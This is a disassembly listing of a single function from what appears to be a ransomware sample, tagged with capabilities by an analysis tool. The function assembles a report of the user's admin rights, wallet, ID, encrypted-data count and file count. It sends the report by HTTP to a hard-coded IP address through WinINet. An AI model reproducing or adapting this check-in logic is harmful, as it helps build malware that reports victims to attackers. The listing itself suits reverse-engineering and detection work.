Function at 0x41db50
Capabilities:
Create http request
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6d0
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x578
lea eax, [ebp - 0x6c8]
mov esi, edx
push 0
push eax
call fcn.00429a90
push 0x32
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.00429a90
push 0x64
lea eax, [ebp - 0xec]
push 0
push eax
call fcn.00429a90
add esp, 0x24
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + str.http:__46.45.169.106_sellKfjmfokt5lm5v14kol1vj35_tgfertsngkrtlrg5.php]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x6ca], ax
test ax, ax
jne 0x41dba0
cmp esi, 1
jne 0x41de77
mov edx, dword [0x45a600]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41dbd0
lea edi, [ebp - 0xec]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41dbe6
mov ecx, edx
lea eax, [ebp - 0x88]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x3c
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00429a90
add esp, 0xc
call fcn.0041e110
lea edx, [ebp - 0x88]
sub edx, eax
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [edx + eax - 2], cx
test cx, cx
jne 0x41dc20
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41dc40
mov eax, dword [str._RIGHTS]
mov dword [ecx], eax
mov eax, dword [0x450738]
mov dword [ecx + 4], eax
mov eax, dword [0x45073c]
mov dword [ecx + 8], eax
mov eax, dword [0x450740]
mov dword [ecx + 0xc], eax
mov ax, word [0x450744]
mov word [ecx + 0x10], ax
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x6cc], 0
push eax
mov dword [ebp - 0x6d0], 0x32
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x6cc]
push eax
push 1
lea eax, [ebp - 0x150]
push eax
push 0
call dword [sym.imp.NETAPI32.dll_NetUserGetInfo]
test eax, eax
jne 0x41dd0f
mov eax, dword [ebp - 0x6cc]
cmp dword [eax + 0xc], 2
jne 0x41dd0f
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
nop
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41dcd0
mov eax, dword [str.adminWIN]
mov dword [ecx], eax
mov eax, dword [0x45074c]
mov dword [ecx + 4], eax
mov eax, dword [0x450750]
mov dword [ecx + 8], eax
mov eax, dword [0x450754]
mov dword [ecx + 0xc], eax
mov eax, dword [0x450758]
mov dword [ecx + 0x10], eax
mov ax, word [0x45075c]
mov word [ecx + 0x14], ax
jmp 0x41dd53
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
nop dword [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41dd20
mov eax, dword [str.userWIN]
mov dword [ecx], eax
mov eax, dword [0x450764]
mov dword [ecx + 4], eax
mov eax, dword [0x450768]
mov dword [ecx + 8], eax
mov eax, dword [0x45076c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x450770]
mov dword [ecx + 0x10], eax
lea edx, [ebp - 0x88]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41dd60
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41dd76
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41dda0
mov eax, dword [str.WALLET]
lea edx, [ebp - 0xec]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x450778]
mov dword [ecx + 4], eax
mov eax, dword [0x45077c]
mov dword [ecx + 8], eax
mov eax, dword [0x450780]
mov dword [ecx + 0xc], eax
mov ax, word [0x450784]
mov word [ecx + 0x10], ax
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41dde0
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41ddf6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41de20
mov eax, dword [str.ID]
mov dword [ecx], eax
mov eax, dword [0x45078c]
mov dword [ecx + 4], eax
mov ax, word [0x450790]
mov word [ecx + 8], ax
call fcn.0041e3f0
mov edx, eax
mov esi, eax
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41de50
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41de66
jmp 0x41e08c
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41de80
mov eax, dword [str._SSTART]
xorps xmm0, xmm0
mov dword [ecx], eax
mov eax, dword [0x450798]
mov dword [ecx + 4], eax
mov eax, dword [0x45079c]
mov dword [ecx + 8], eax
mov eax, dword [0x4507a0]
mov dword [ecx + 0xc], eax
mov ax, word [0x4507a4]
mov word [ecx + 0x10], ax
xor eax, eax
mov word [ebp - 0x18], ax
mov word [ebp - 6], ax
lea eax, [ebp - 0x18]
push 0xa
push eax
push dword [0x459808]
movups xmmword [ebp - 0x16], xmm0
call fcn.0042e0c4
lea edx, [ebp - 0x18]
add esp, 0xc
mov esi, edx
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41dee0
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41def6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x6c8]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41df20
mov ecx, 7
mov esi, str.CRYPTED_DATA
rep movsd dword es:[edi], dword [esi]
push 0
push 0xf4240
push dword [0x45a2e4]
movsw word es:[edi], word [esi]
push dword [0x45a2e0]
call fcn.004420f0
push 0xa
lea ecx, [ebp - 0x4c]
mov dword [0x45a2e0], eax
push ecx
push eax
mov dword [0x45a2e4], edx
call fcn.0042e0c4
lea edx, [ebp - 0x4c]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41df71
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41df90
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41dfb3
mov eax, dword [str.ID]
mov dword [ecx], eax
mov eax, dword [0x45078c]
mov dword [ecx + 4], eax
mov ax, word [0x450790]
mov word [ecx + 8], ax
call fcn.0041e3f0
mov edx, eax
mov esi, eax
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41dfe1
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41e000
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6c8]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41e023
mov eax, dword [str.FILES]
mov edx, 0x45a510
cmp dword [0x45a524], 8
mov dword [ecx], eax
mov eax, dword [0x4507cc]
cmovae edx, dword [0x45a510]
mov dword [ecx + 4], eax
mov esi, edx
mov eax, dword [0x4507d0]
mov dword [ecx + 8], eax
mov eax, dword [0x4507d4]
mov dword [ecx + 0xc], eax
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41e063
lea edi, [ebp - 0x6c8]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41e080
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6c8]
pop edi
add ecx, 0xfffffffe
pop esi
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x41e0a5
mov eax, dword [str.UI888]
push 0
mov dword [ecx], eax
mov eax, dword [0x4507dc]
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x4507e0]
push 0
mov dword [ecx + 8], eax
mov eax, dword [0x4507e4]
push 0
push str.Internet_Explorer
mov dword [ecx + 0xc], eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x6c8]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret